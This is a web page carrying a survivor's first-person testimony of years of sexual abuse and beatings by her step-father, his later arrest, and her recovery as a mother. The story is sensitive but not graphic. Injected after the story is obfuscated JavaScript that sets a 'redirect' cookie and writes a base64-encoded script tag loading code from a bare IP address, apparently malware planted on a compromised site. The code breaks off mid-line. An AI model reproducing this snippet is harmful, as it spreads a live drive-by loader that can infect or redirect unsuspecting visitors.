150 – Laura

My childhood ended around the time this photo was taken. My step-father began sexually abusing me and it lasted for 18 years! I still don’t understand why it went on so long and why I wasn’t strong enough to end it.

He also began beating me around the age of 13. He would make me “report” to him about my day at school and if he thought I was lying or not telling him something he would beat me in his car. I was not permitted to talk to boys or men teachers. He would make me wear baggy clothes & long sleeves, he also made me keep my hair short the last couple years of high school. My mother knew what was happening and she never put an end to it. He never had intercourse with me (That was the only silver lining in my nightmare of a life). I got away from him when he was sent to jail for crimes unrelated to me. I went into shock at first when he was gone. I did not know how to function w/o his instruction. (pathetic)

I got involved with a friend of my brother’s who whisked me away and married me & he and I gave each other our virginity on our wedding night. I was 23 & he was 19. The marriage did not last because I had so many issues & insecurities I drove him away. I eventually remarried and now 11 years later I am a mother. Before my children we’re born I did reach out to local law enforcement, 1 controlled phone call later he was arrested and eventually plead “guilty” in court to 20 counts.. He was going to be sentenced to life in prison but he died of heart failure before he got whisked off to prison. There is a lot of other facets to my story that would cause this to look like a term paper. The positive now is that I am now getting to experience childhood through my children’s eyes minus a boogie man.. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘